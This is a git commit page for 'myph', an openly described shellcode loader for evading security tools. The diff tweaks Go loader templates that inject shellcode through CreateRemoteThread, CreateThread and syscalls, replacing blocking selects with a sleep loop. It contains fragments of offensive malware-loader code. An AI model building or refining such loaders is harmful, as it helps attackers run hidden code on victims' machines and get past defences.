myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit a8e4188ebec8a391c500766341b2324e870307e9
parent 1312815f103f130c6e7730d3f03c8012f3d0d9a4
Author: winds0r <[email protected]>
Date: Sat, 29 Jul 2023 15:08:26 +0900

fix(loaders): removing blocking selects in templates

Diffstat:
MMakefile | 2+-
Mloaders/createRemoteThread.go | 1-
Mloaders/createThread.go | 13++++++++++++-
Mloaders/syscall.go | 2+-

4 files changed, 14 insertions(+), 4 deletions(-)

diff --git a/Makefile b/Makefile
@@ -47,7 +47,7 @@ targets:
 .PHONY: compile
 compile: ## compile the project
 	@go build -o $(APP_NAME) .
-	@printf "[ *** build successful (version: %s) *** ]\n" $(APP_VERSION)
+	@printf "[ *** successfully built %s version %s *** ]\n" $(APP_NAME) $(APP_VERSION)
 
 .PHONY: clean
 clean: ## clean up the project directory
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -98,7 +98,6 @@ func ExecuteOrderSixtySix(shellcode []byte) {
 
     /* load remote thread */
     _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
-    select {}
 }
     `, targetProcess)
 }
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -7,12 +7,14 @@ import (
 func GetCreateThreadTemplate(targetProcess string) string {
 	var _ = targetProcess // unused in this template
 
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
 	return fmt.Sprintf(`
 package main
 
 import (
 	"syscall"
 	"unsafe"
+    "time"
 )
 
 const (
@@ -53,7 +55,16 @@ func ExecuteOrderSixtySix(shellcode []byte) {
 		0,
 	)
 
-	select {}
+    /*
+        FIXME(djnn): it seems that we cant use select instead at
+        the risk of a deadlock, which kind of sucks
+
+        instead, let's just wait manually like this xD (which also sucks)
+    */
+    for {
+        time.Sleep(100 * time.Second)
+
+    }
 }
     `)
 }
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -7,7 +7,7 @@ import (
 func GetSyscallTemplate(targetProcess string) string {
 	_ = targetProcess // unused in this technique
 
-	println("[!] Please note that shellcode will not be injected into new process with this method")
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
 
 	return fmt.Sprintf(`
 package main